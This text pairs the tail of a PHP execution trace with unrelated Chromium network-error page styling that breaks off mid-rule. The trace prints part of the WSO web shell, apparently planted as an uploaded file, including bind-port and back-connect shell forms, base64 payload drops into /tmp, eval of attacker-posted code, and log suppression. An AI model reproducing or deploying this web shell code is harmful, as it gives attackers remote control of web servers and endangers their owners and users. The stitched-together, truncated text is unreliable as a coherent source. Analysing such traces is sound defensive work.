onSubmit=\\"g(null,null,\'bpp\',this.port.value);return false;\\">\n <span>Bind port to /bin/sh [perl]</span><br/>\n Port: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'>\n </form>\n <form name=\'nfp\' onSubmit=\\"g(null,null,\'bcp\',this.server.value,this.port.value);return false;\\">\n <span>Back-connect [perl]</span><br/>\n Server: <input type=\'text\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'> Port: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'>\n </form><br>";\n if(isset($_POST[\'p1\'])) {\n function cf($f,$t) {\n $w = @fopen($f,"w") or @function_exists(\'file_put_contents\');\n if($w){\n @fwrite($w,@base64_decode($t));\n @fclose($w);\n }\n }\n if($_POST[\'p1\'] == \'bpp\') {\n cf("/tmp/bp.pl",$bind_port_p);\n $out = wsoEx("perl /tmp/bp.pl ".$_POST[\'p2\']." 1>/dev/null 2>&1 &");\n sleep(1);\n echo "<pre class=ml1>$out\\n".wsoEx("ps aux | grep bp.pl")."</pre>";\n unlink("/tmp/bp.pl");\n }\n if($_POST[\'p1\'] == \'bcp\') {\n cf("/tmp/bc.pl",$back_connect_p);\n $out = wsoEx("perl /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." 1>/dev/null 2>&1 &");\n sleep(1);\n echo "<pre class=ml1>$out\\n".wsoEx("ps aux | grep bc.pl")."</pre>";\n unlink("/tmp/bc.pl");\n }\n }\n echo \'</div>\';\n wsoFooter();\n}\nfunction actionRC() {\n if(!@$_POST[\'p1\']) {\n $a = array(\n "uname" => php_uname(),\n "php_version" => phpversion(),\n "wso_version" => WSO_VERSION,\n "safemode" => @ini_get(\'safe_mode\')\n );\n echo serialize($a);\n } else {\n eval($_POST[\'p1\']);\n }\n}\nif( empty($_POST[\'a\']) )\n if(isset($default_action) && function_exists(\'action\' . $default_action))\n $_POST[\'a\'] = $default_action;\n else\n $_POST[\'a\'] = \'SecInfo\';\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\n call_user_func(\'action\' . $_POST[\'a\']);\nexit;\n\n' /var/www/html/uploads/flo.php 12 0
2 A /var/www/html/uploads/flo.php(12) : eval()'d code 1 $auth_pass = '705d77357e3d116ad219ba8e756b47f0'
2 A /var/www/html/uploads/flo.php(12) : eval()'d code 2 $color = '#df5'
2 A /var/www/html/uploads/flo.php(12) : eval()'d code 3 $default_action = 'FilesMan'
2 A /var/www/html/uploads/flo.php(12) : eval()'d code 4 $default_use_ajax = TRUE
2 A /var/www/html/uploads/flo.php(12) : eval()'d code 5 $default_charset = 'Windows-1251'
2 A /var/www/html/uploads/flo.php(12) : eval()'d code 8 $userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
3 8 0 0.007149 1257192 implode 0 /var/www/html/uploads/flo.php(12) : eval()'d code 9 2 '|' [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
3 8 1 0.007171 1257336
3 8 R 'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler'
3 9 0 0.007190 1257272 preg_match 0 /var/www/html/uploads/flo.php(12) : eval()'d code 9 2 '/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i' 'python-requests/2.25.1'
3 9 1 0.007211 1257336
3 9 R 0
3 10 0 0.007225 1257192 ini_set 0 /var/www/html/uploads/flo.php(12) : eval()'d code 15 2 'error_log' NULL
3 10 1 0.007242 1257264
3 10 R ''
3 11 0 0.007255 1257192 ini_set 0 /var/www/html/uploads/flo.php(12) : eval()'d code 16 2 'log_errors' 0
3 11 1 0.007271 1257264
3 11 R '1'
3 12 0 0.007284 1257192 ini_set 0 /var/www/html/uploads/flo.php(12) : eval()'d code 17 2 'max_execution_time' 0
3 12 1 0.007301 1257296
3 12 R '30'
3 13 0 0.007315 1257192 set_time_limit 0 /var/www/html/uploads/flo.php(12) : eval()'d code 18 1 0
3 13 1 0.007330 1257256
3 13 R FALSE
2 7 1 0.007349 1258296
1 3 1 0.007362 1224160
1 14 0 0.007369 1224192 Error->__toString 0 Unknown 0 0
2 15 0 0.007382 1224272 Error->getTraceAsString 0 Unknown 0 0
2 15 1 0.007394 1224528
2 15 R '#0 /var/www/html/uploads/flo.php(12): eval()\n#1 {main}'
1 14 1 0.007414 1224824
1 14 R 'Error: Call to undefined function set_magic_quotes_runtime() in /var/www/html/uploads/flo.php(12) : eval()\'d code:19\nStack trace:\n#0 /var/www/html/uploads/flo.php(12): eval()\n#1 {main}'
0.007466 1145616
TRACE END [2023-02-13 01:50:28.843530]
<html dir="ltr" lang="en"><head>
<meta charset="utf-8">
<meta name="color-scheme" content="light dark">
<meta name="theme-color" content="#fff">
<meta name="viewport" content="width=device-width, initial-scale=1.0,
maximum-scale=1.0, user-scalable=no">
<title>localhost</title>
<style>/* Copyright 2017 The Chromium Authors
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file. */
a {
color: var(--link-color);
}
body {
--background-color: #fff;
--error-code-color: var(--google-gray-700);
--google-blue-100: rgb(210, 227, 252);
--google-blue-300: rgb(138, 180, 248);
--google-blue-600: rgb(26, 115, 232);
--google-blue-700: rgb(25, 103, 210);
--google-gray-100: rgb(241, 243, 244);
--google-gray-300: rgb(218, 220, 224);
--google-gray-500: rgb(154, 160, 166);
--google-gray-50: rgb(248, 249, 250);
--google-gray-600: rgb(128, 134, 139);
--google-gray-700: rgb(95, 99, 104);
--google-gray-800: rgb(60, 64, 67);
--google-gray-900: rgb(32, 33, 36);
--heading-color: var(--google-gray-900);
--link-color: rgb(88, 88, 88);
--popup-container-background-color: rgba(0,0,0,.65);
--primary-button-fill-color-active: var(--google-blue-700);
--primary-button-fill-color: var(--google-blue-600);
--primary-button-text-color: #fff;
--quiet-background-color: rgb(247, 247, 247);
--secondary-button-border-color: var(--google-gray-500);
--secondary-button-fill-color: #fff;
--secondary-button-hover-border-color: var(--google-gray-600);
--secondary-button-hover-fill-color: var(--google-gray-50);
--secondary-button-text-color: var(--google-gray-700);
--small-link-color: var(--google-gray-700);
--text-color: var(--google-gray-700);
background: var(--background-color);
color: var(--text-color);
word-wrap: break-word;
}
.nav-wrapper .secondary-button {
background: var(--secondary-button-fill-color);
border: 1px solid var(--secondary-button-border-color);
color: var(--secondary-button-text-color);
float: none;
margin: 0;
padding: 8px 16px;
}
.hidden {
display: none;
}
html {
-webkit-text-size-adjust: 100%;
font-size: 125%;
}
.icon {
background-repeat: no-repeat;
background-size: 100%;
}
@media (prefers-color-scheme: dark) {
body {
--background-color: var(--google-gray-900);
--error-code-color: var(--google-gray-500);
--heading-color: var(--google-gray-500);
--link-color: var(--google-blue-300);
--primary-button-fill-color-active: rgb(129, 162, 208);
--primary-button-fill-color: var(--google-blue-300);
--primary-button-text-color: var(--google-gray-900);
--quiet-background-color: var(--background-color);
--secondary-button-border-color: var(--google-gray-700);
--secondary-button-fill-color: var(--google-gray-900);
--secondary-button-hover-fill-color: rgb(48, 51, 57);
--secondary-button-text-color: var(--google-blue-300);
--small-link-color: var(--google-blue-300);
--text-color: var(--google-gray-500);
}
}
</style>
<style>/* Copyright 2014 The Chromium Authors
Use of this source code is governed by a BSD-style license that can be
found in the LICENSE file. */
button {
border: 0;
border-radius: 4px;
box-sizing: border-box;
color: var(--primary-button-text-color);
cursor: pointer;
float: right;
font-size: .875em;
margin: 0;
padding: 8px 16px;
transition: box-shadow 150ms cubic-bezier(0.4, 0, 0.2, 1);
user-select: none;
}
[dir='rtl'] button {
float: left;
}
.bad-clock button,
.captive-portal button,
.https-only button,
.insecure-form button,
.lookalike-url button,
.main-frame-blocked button,
.neterror button,
.pdf button,
.ssl button,
.enterprise-block button,
.enterprise-warn button,
.safe-browsing-billing button {
background: var(--primary-button-fill-color);
}
button:active {
background: var(--primary-button-fill-color-active);
outline: 0;
}
#debugging {
display: inline;
overflow: auto;
}
.debugging-content {
line-height: 1em;
margin-bottom: 0;
margin-top: 1em;
}
.debugging-content-fixed-width {
display: block;
font-family: monospace;
font-size: 1.2em;
margin-top: 0.5em;
}
.debugging-title {
font-weight: bold;
}
#details {
margin: 0 0 50px;
}
#details p:not(:first-of-type) {
margin-top: 20px;
}
.secondary-button:active {
border-color: white;
box-shadow: 0 1px 2px 0 rgba(60, 64, 67, .3),
0 2px 6px 2px rgba(60, 64, 67, .15);
}
.secondary-button:hover {
background: var(--secondary-button-hover-fill-color);
border-color: var(--secondary-button-hover-border-color);
text-decoration: none;
}
.error-code {
color: var(--error-code-color);
font-size: .8em;
margin-top: 12px;
text-transform: uppercase;
}
#error-debugging-info {
font-size: 0.8em;
}
h1 {
color: var(--heading-color);
font-size: 1.6em;
font-weight: normal;
line-height: 1.25em;
margin-bottom: 16px;
}
h2 {
font-size: 1.2em;
font-weight: normal;
}
.icon {
height: 72px;
margin: 0 0 40px;
width: 72px;
}
input[type=checkbox] {
opacity: 0;
}
input[type=checkbox]:focus ~ .checkbox::after {
outline: -webkit-focus-ring-color auto 5px;
}
.interstitial-wrapper {
box-sizing: border-box;
font-size: 1em;
line-height: 1.6em;
margin: 14vh auto 0;
max-width: 600px;
width: 100%;
}
#main-message > p {
display: inline;
}
#extended-reporting-opt-in {
font-size: .875em;
margin-top: 32px;
}
#extended-reporting-opt-in label {
display: grid;
grid-template-columns: 1.8em 1fr;
position: relative;
}
#enhanced-protection-message {
border-radius: 4px;
font-size: 1em;
margin-top: 32px;
padding: 10px 5px;
}
#enhanced-protection-message label {
display: grid;
grid-template-columns: 2.5em 1fr;
position: relative;
}
#enhanced-protection-message div {
margin: 0.5em;
}
#enhanced-protection-message .icon {
height: 1.5em;
vertical-align: middle;
width: 1.5em;
}
.nav-wrapper {
margin-top: 51px;
}
.nav-wrapper::after {
clear: both;
content: '';
display: table;
width: 100%;
}
.small-link {
color: var(--small-link-color);
font-size: .875em;
}
.checkboxes {
flex: 0 0 24px;
}
.checkbox {
--padding: .9em;
background: transparent;
display: block;
height: 1em;
left: -1em;
padding-inline-start: var(--padding);
position: absolute;
right: 0;
top: -.5em;
width: 1em;
}
.checkbox::after {
border: 1px solid white;
border-radius: 2px;
content: '';
height: 1em;
left: var(--padding);
position: absolute;
top: var(--padding);
width: 1em;
}
.checkbox::before {
background: transparent;
border: 2px solid white;
border-inline-end-width: 0;
border-top-width: 0;
content: '';
height: .2em;
left: calc(.3em + var(--padding));
opacity: 0;
position: absolute;
top: calc(.3em + var(--padding));
transform: rotate(-45deg);
width: .5em;
}
input[type=checkbox]:checked ~ .checkbox::before {
opacity: 1;
}
#recurrent-error-message {
background: #ededed;
border-radius: 4px;
margin-bottom: 16px;
margin-top: 12px;
padding: 12px 16px;
}
.showing-recurrent-error-message #extended-reporting-opt-in {
margin-top: 16px;
}
.showing-recurrent-error-message #enhanced-protection-message {
margin-top: 16px;
}
@media (max-width: 700px) {
.interstitial-wrapper {
padding: 0 10%;
}
#error-debugging-info {
overflow: auto;
}
}
@media (max-width: 420px) {
button,
[dir='rtl'] button,
.small-link {
float: none;
font-size: .825em;
font-weight: 500;
margin: 0;
width: 100%;
}
button {
padding: 16px 24px;
}
#details {
margin: 20px 0 20px 0;
}
#details p:not(:first-of-type) {
margin-top: 10px;
}
.secondary-button:not(.hidden) {
display: block;
margin-top: 20px;
text-align: center;
width: 100%;
}
.interstitial-wrapper {
padding: 0 5%;
}
#extended-reporting-opt-in {
margin-top: 24px;
}
#enhanced-protection-message {
margin-top: 24px;
}
.nav-wrapper {
margin-top: 30px;
}
}
/**
* Mobile specific styling.
* Navigation buttons are anchored to the bottom of the screen.
* Details message replaces the top content in its own scrollable area.
*/
@media (max-width: 420px) {
.nav-wrapper .secondary-button {
border: 0;
margin: 16px 0 0;
margin-inline-end: 0;
padding-bottom: 16px;
padding-top: 16px;
}
}
/* Fixed nav. */
@media (min-width: 240px) and (max-width: 420px) and
(min-height: 401px),
(min-width: 421px) and (min-height: 240px) and
(max-height: 560px) {
body .nav-wrapper {
background: var(--background-color);
bottom: 0;
box-shadow: 0 -12px 24px var(--background-color);
left: 0;
margin: 0 auto;
max-width: 736px;
padding-inline-end: 24px;
padding-inline-start: 24px;
position: fixed;
right: 0;
width: 100%;
z-index: 2;
}
.interstitial-wrapper {
max-width: 736px;
}
#details,
#main-content {
padding-bottom: 40px;
}
#details {
padding-top: 5.5vh;
}
button.small-link {
color: var(--google-blue-600);
}
}
@media (max-width: 420px) and (orientation: portrait),
(max-height: 560px) {
body {
margin: 0 auto;
}
button,
[dir='rtl'] button,
button.small-link,
.nav-wrapper .secondary-button {
font-family: Roboto-Regular,Helvetica;
font-size: .933em;
margin: 6px 0;
transform: translatez(0);
}
.nav-wrapper {
box-sizing: border-box;
padding-bottom: 8px;
width: 100%;
}
#details {
box-sizing: border-box;
height: auto;
margin: 0;
opacity: 1;
transition: opacity 250ms cubic-bezier(0.4, 0, 0.2, 1);
}
#details.hidden,
#main-content.hidden {
height: 0;
opacity: 0;
overflow: hidden;
padding-bottom: 0;
transition: none;
}
h1 {
font-size: 1.5em;
margin-bottom: 8px;
}
.icon {
margin-bottom: 5.69vh;
}
.interstitial-wrapper {
box-sizing: border-box;
margin: 7vh auto 12px;
padding: 0 24px;
position: relative;
}
.interstitial-wrapper p {
font-size: .95em;
line-height: 1.61em;
margin-top: 8px;
}
#main-content {
margin: 0;
transition: opacity 100ms cubic-bezier(0.4, 0, 0.2, 1);
}
.small-link {
border: 0;
}
.suggested-left > #control-buttons,
.suggested-right > #control-buttons {
float: none;
margin: 0;
}
}
@media (min-width: 421px) and (min-height: 500px) and (max-height: 560px) {
.interstitial-wrapper {
margin-top: 10vh;
}
}
@media (min-height: 400px) and (orientation:portrait) {
.interstitial-wrapper {
margin-bottom: 145px;
}
}
@media (min-height: 299px) {
.nav-wrapper {
padding-bottom: 16px;
}
}
@media (max-height: 560px) and (min-height: 240px) and (orientation:landscape) {
.extended-reporting-has-checkbox #details {
padding-bottom: 80px;
}
}
@media (min-height: 500px) and (max-height: 650px) and (max-width: 414px) and
(orientation: portrait) {
.interstitial-wrapper {
margin-top: 7vh;
}
}
@media (min-height: 650px) and (max-width: 414px) and (orientation: portrait) {
.interstitial-wrapper {
margin-top: 10vh;
}
}
/* Small mobile screens. No fixed nav. */
@media (max-height: 400px) and (orientation: portrait),
(max-height: 239px) and (orientation: landscape),
(max-width: 419px) and (max-height: 399px) {
.interstitial-wrapper {
display: flex;
flex-direction: column;
margin-bottom: 0;
}
#details {
flex: 1 1 auto;
order: 0;
}
#main-content {
flex: 1 1 auto;
order: 0;
}
.nav-wrapper {
flex: 0 1 auto;
margin-top: 8px;
order: 1;
padding-inline-end: 0;
padding-inline-start: 0;
position: relative;
width: 100%;
}
button,
.nav-wrapper .secondary-button {
padding: 16px 24px;
}
button.small-link {
color: var(--google-blue-600);
}
}
@media (max-width: 239px) and (orientation: portrait) {
.nav-wrapper {
padding-inline-end: 0;
padding-inline-start: 0;
}
}
</style>
<style>/* Copyright 2013 The Chromium Authors
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file. */
/* Don't use the main frame div when the error is in a subframe. */
html[subframe] #main-frame-error {
display: none;
}
/* Don't use the subframe error div when the error is in a main frame. */
html:not([subframe]) #sub-frame-error {
display: none;
}
h1 {
margin-top: 0;
word-wrap: break-word;
}
h1 span {
font-weight: 500;
}
a {
text-decoration: none;
}
.icon {
-webkit-user-select: none;
display: inline-block;
}
.icon-generic {
/* Can't access chrome://theme/IDR_ERROR_NETWORK_GENERIC from an untrusted
* renderer process, so embed the resource manually. */
content: -webkit-image-set(
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAENJREFUeF7tzbEJACEQRNGBLeAasBCza2lLEGx0CxFGG9hBMDDxRy/72O9FMnIFapGylsu1fgoBdkXfUHLrQgdfrlJN1BdYBjQQm3UAAAAASUVORK5CYII=) 1x,
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQAQMAAADdiHD7AAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAFJJREFUeF7t0cENgDAMQ9FwYgxG6WjpaIzCCAxQxVggFuDiCvlLOeRdHR9yzjncHVoq3npu+wQUrUuJHylSTmBaespJyJQoObUeyxDQb3bEm5Au81c0pSCD8HYAAAAASUVORK5CYII=) 2x);
}
.icon-offline {
content: -webkit-image-set(
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAGxJREFUeF7tyMEJwkAQRuFf5ipMKxYQiJ3Z2nSwrWwBA0+DQZcdxEOueaePp9+dQZFB7GpUcURSVU66yVNFj6LFICatThZB6r/ko/pbRpUgilY0Cbw5sNmb9txGXUKyuH7eV25x39DtJXUNPQGJtWFV+BT/QAAAAABJRU5ErkJggg==) 1x,
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQBAMAAAAVaP+LAAAAGFBMVEUAAABTU1NNTU1TU1NPT09SUlJSUlJTU1O8B7DEAAAAB3RSTlMAoArVKvVgBuEdKgAAAJ1JREFUeF7t1TEOwyAMQNG0Q6/UE+RMXD9d/tC6womIFSL9P+MnAYOXeTIzMzMzMzMzaz8J9Ri6HoITmuHXhISE8nEh9yxDh55aCEUoTGbbQwjqHwIkRAEiIaG0+0AA9VBMaE89Rogeoww936MQrWdBr4GN/z0IAdQ6nQ/FIpRXDwHcA+JIJcQowQAlFUA0MfQpXLlVQfkzR4igS6ENjknm/wiaGhsAAAAASUVORK5CYII=) 2x);
position: relative;
}
.icon-disabled {
content: -webkit-image-set(
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHAAAABICAMAAAAZF4G5AAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAASZJREFUeAHd11Fq7jAMRGGf/W/6PoWB67YMqv5DybwG/CFjRuR8JBw3+ByiRjgV9W/TJ31P0tBfC6+cj1haUFXKHmVJo5wP98WwQ0ZCbfUc6LQ6VuUBz31ikADkLMkDrfUC4rR6QGW+gF6rx7NaHWCj1Y/W6lf4L7utvgBSt3rBFSS/XBMPUILcJINHCBWYUfpWn4NBi1ZfudIc3rf6/NGEvEA+AsYTJozmXemjXeLZAov+mnkN2HfzXpMSVQDnGw++57qNJ4D1xitA2sJ+VAWMygSEaYf2mYPTjZfk2K8wmP7HLIH5Mg4/pP+PEcDzUvDMvYbs/2NWwPO5vBdMZE4EE5UTQLiBFDaUlTDPBRoJ9HdAYIkIo06og3BNXtCzy7zA1aXk5x+tJARq63eAygAAAABJRU5ErkJggg==) 1x,
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAOAAAACQAQMAAAArwfVjAAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAAYdJREFUeF7F1EFqwzAUBNARAmVj0FZe5QoBH6BX+dn4GlY2PYNzGx/A0CvkCIJuvIraKJKbgBvzf2g62weDGD7CYggpfFReis4J0ey9EGFIiEQQojFSlA9kSIiqd0KkFjKsewgRbStEN19mxUPTtmW9HQ/h6tyqNQ8NlSMZdzyE6qkoE0trVYGFm0n1WYeBhduzwbwBC7voS+vIxfeMjeaiLxsMMtQNwMPtuew+DjzcTHk8YMfDknEcIUOtf2lVfgVH3K4Xv5PRYAXRVMtItIJ3rfaCIVn9DsTH2NxisAVRex2Hh3hX+/mRUR08bAwPEYsI51ZxWH4Q0SpicQRXeyEaIug48FEdegARfMz/tADVsRciwTAxW308ehmC2gLraC+YCbV3QoTZexa+zegAEW5PhhgYfmbvJgcRqngGByOSXdFJcLk2JeDPEN0kxe1JhIt5FiFA+w+ItMELsUyPF2IaJ4aILqb4FbxPwhImwj6JauKgDUCYaxmYIsd4KXdMjIC9ItB5Bn4BNRwsG0XM2nwAAAAASUVORK5CYII=) 2x);
width: 112px;
}
.hidden {
display: none;
}
#suggestions-list a {
color: var(--google-blue-600);
}
#suggestions-list p {
margin-block-end: 0;
}
#suggestions-list ul {
margin-top: 0;
}
.single-suggestion {
list-style-type: none;
padding-inline-start: 0;
}
#error-information-button {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBmaWxsPSJub25lIiBkPSJNMCAwaDI0djI0SDB6Ii8+PHBhdGggZD0iTTExIDE4aDJ2LTJoLTJ2MnptMS0xNkM2LjQ4IDIgMiA2LjQ4IDIgMTJzNC40OCAxMCAxMCAxMCAxMC00LjQ4IDEwLTEwUzE3LjUyIDIgMTIgMnptMCAxOGMtNC40MSAwLTgtMy41OS04LThzMy41OS04IDgtOCA4IDMuNTkgOCA4LTMuNTkgOC04IDh6bTAtMTRjLTIuMjEgMC00IDEuNzktNCA0aDJjMC0xLjEuOS0yIDItMnMyIC45IDIgMmMwIDItMyAxLjc1LTMgNWgyYzAtMi4yNSAzLTIuNSAzLTUgMC0yLjIxLTEuNzktNC00LTR6Ii8+PC9zdmc+);
height: 24px;
vertical-align: -.15em;
width: 24px;
}
.use-popup-container#error-information-popup-container
#error-information-popup {
align-items: center;
background-color: var(--popup-container-background-color);
display: flex;
height: 100%;
left: 0;
position: fixed;
top: 0;
width: 100%;
z-index: 100;
}
.use-popup-container#error-information-popup-container
#error-information-popup-content > p {
margin-bottom: 11px;
margin-inline-start: 20px;
}
.use-popup-container#error-information-popup-container #suggestions-list ul {
margin-inline-start: 15px;
}
.use-popup-container#error-information-popup-container
#error-information-popup-box {
background-color: var(--background-color);
left: 5%;
padding-bottom: 15px;
padding-top: 15px;
position: fixed;
width: 90%;
z-index: 101;
}
.use-popup-container#error-information-popup-container div.error-code {
margin-inline-start: 20px;
}
.use-popup-container#error-information-popup-container #suggestions-list p {
margin-inline-start: 20px;
}
:not(.use-popup-container)#error-information-popup-container
#error-information-popup-close {
display: none;
}
#error-information-popup-close {
margin-bottom: 0;
margin-inline-end: 35px;
margin-top: 15px;
text-align: end;
}
.link-button {
color: rgb(66, 133, 244);
display: inline-block;
font-weight: bold;
text-transform: uppercase;
}
#sub-frame-error-details {
color: #8F8F8F;
/* Not done on mobile for performance reasons. */
text-shadow: 0 1px 0 rgba(255,255,255,0.3);
}
[jscontent=hostName],
[jscontent=failedUrl] {
overflow-wrap: break-word;
}
.secondary-button {
background: #d9d9d9;
color: #696969;
margin-inline-end: 16px;
}
.snackbar {
background: #323232;
border-radius: 2px;
bottom: 24px;
box-sizing: border-box;
color: #fff;
font-size: .87em;
left: 24px;
max-width: 568px;
min-width: 288px;
opacity: 0;
padding: 16px 24px 12px;
position: fixed;
transform: translateY(90px);
will-change: opacity, transform;
z-index: 999;
}
.snackbar-show {
-webkit-animation:
show-snackbar 250ms cubic-bezier(0, 0, 0.2, 1) forwards,
hide-snackbar 250ms cubic-bezier(0.4, 0, 1, 1) forwards 5s;
}
@-webkit-keyframes show-snackbar {
100% {
opacity: 1;
transform: translateY(0);
}
}
@-webkit-keyframes hide-snackbar {
0% {
opacity: 1;
transform: translateY(0);
}
100% {
opacity: 0;
transform: translateY(90px);
}
}
.suggestions {
margin-top: 18px;
}
.suggestion-header {
font-weight: bold;
margin-bottom: 4px;
}
.suggestion-body {
color: #777;
}
/* Decrease padding at low sizes. */
@media (max-width: 640px), (max-height: 640px) {
h1 {
margin: 0 0 15px;
}
.suggestions {
margin-top: 10px;
}
.suggestion-header {
margin-bottom: 0;
}
}
#download-link,
#download-link-clicked {
margin-bottom: 30px;
margin-top: 30px;
}
#download-link-clicked {
color: #BBB;
}
#download-link::before,
#download-link-clicked::before {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
display: inline-block;
margin-inline-end: 4px;
vertical-align: -webkit-baseline-middle;
}
#download-link-clicked::before {
opacity: 0;
width: 0;
}
#offline-content-list-visibility-card {
border: 1px solid white;
border-radius: 8px;
display: flex;
font-size: .8em;
justify-content: space-between;
line-height: 1;
}
#offline-content-list.list-hidden #offline-content-list-visibility-card {
border-color: rgb(218, 220, 224);
}
#offline-content-list-visibility-card > div {
padding: 1em;
}
#offline-content-list-title {
color: var(--google-gray-700);
}
#offline-content-list-show-text,
#offline-content-list-hide-text {
color: rgb(66, 133, 244);
}
/* Hides the "hide" text div when the offline content list is collapsed/hidden
* and, alternatively, hides the "show" text div when the offline content list
* is expanded/shown.
*/
#offline-content-list.list-hidden #offline-content-list-hide-text,
#offline-content-list:not(.list-hidden) #offline-content-list-show-text {
display: none;
}
/* Controls the animation of the offline content list when it is expanded/shown.
*/
#offline-content-suggestions {
/* Max-height has to be set for the height animation to work. The chosen value
* is a little greater than the maximum height the list will have, when all
* suggestions have images, so that it is never clamped. This makes so that
* when the actual height is smaller then the animation is not as smooth.
*/
max-height: 27em;
transition: max-height 200ms ease-in, visibility 0s 200ms,
opacity 200ms 200ms linear;
}
/* Controls the animation of the offline content list when it is
* collapsed/hidden.
*/
#offline-content-list.list-hidden #offline-content-suggestions {
max-height: 0;
opacity: 0;
transition: opacity 200ms linear, visibility 0s 200ms,
max-height 200ms 200ms ease-out;
visibility: hidden;
}
#offline-content-list {
margin-inline-start: -5%;
width: 110%;
}
/* The selectors below adjust the "overflow" of the suggestion cards contents
* based on the same screen size based strategy used for the main frame, which
* is applied by the `interstitial-wrapper` class. */
@media (max-width: 420px) {
#offline-content-list {
margin-inline-start: -2.5%;
width: 105%;
}
}
@media (max-width: 420px) and (orientation: portrait),
(max-height: 560px) {
#offline-content-list {
margin-inline-start: -12px;
width: calc(100% + 24px);
}
}
.suggestion-with-image .offline-content-suggestion-thumbnail {
flex-basis: 8.2em;
flex-shrink: 0;
}
.suggestion-with-image .offline-content-suggestion-thumbnail > img {
height: 100%;
width: 100%;
}
.suggestion-with-image #offline-content-list:not(.is-rtl)
.offline-content-suggestion-thumbnail > img {
border-bottom-right-radius: 7px;
border-top-right-radius: 7px;
}
.suggestion-with-image #offline-content-list.is-rtl
.offline-content-suggestion-thumbnail > img {
border-bottom-left-radius: 7px;
border-top-left-radius: 7px;
}
.suggestion-with-icon .offline-content-suggestion-thumbnail {
align-items: center;
display: flex;
justify-content: center;
min-height: 4.2em;
min-width: 4.2em;
}
.suggestion-with-icon .offline-content-suggestion-thumbnail > div {
align-items: center;
background-color: rgb(241, 243, 244);
border-radius: 50%;
display: flex;
height: 2.3em;
justify-content: center;
width: 2.3em;
}
.suggestion-with-icon .offline-content-suggestion-thumbnail > div > img {
height: 1.45em;
width: 1.45em;
}
.offline-content-suggestion-favicon {
height: 1em;
margin-inline-end: 0.4em;
width: 1.4em;
}
.offline-content-suggestion-favicon > img {
height: 1.4em;
width: 1.4em;
}
.no-favicon .offline-content-suggestion-favicon {
display: none;
}
.image-video {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTcgMTAuNVY3YTEgMSAwIDAgMC0xLTFINGExIDEgMCAwIDAtMSAxdjEwYTEgMSAwIDAgMCAxIDFoMTJhMSAxIDAgMCAwIDEtMXYtMy41bDQgNHYtMTFsLTQgNHoiIGZpbGw9IiMzQzQwNDMiLz48L3N2Zz4=);
}
.image-music-note {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTIgM3Y5LjI2Yy0uNS0uMTctMS0uMjYtMS41LS4yNkM4IDEyIDYgMTQgNiAxNi41UzggMjEgMTAuNSAyMXM0LjUtMiA0LjUtNC41VjZoNFYzaC03eiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}
.image-earth {
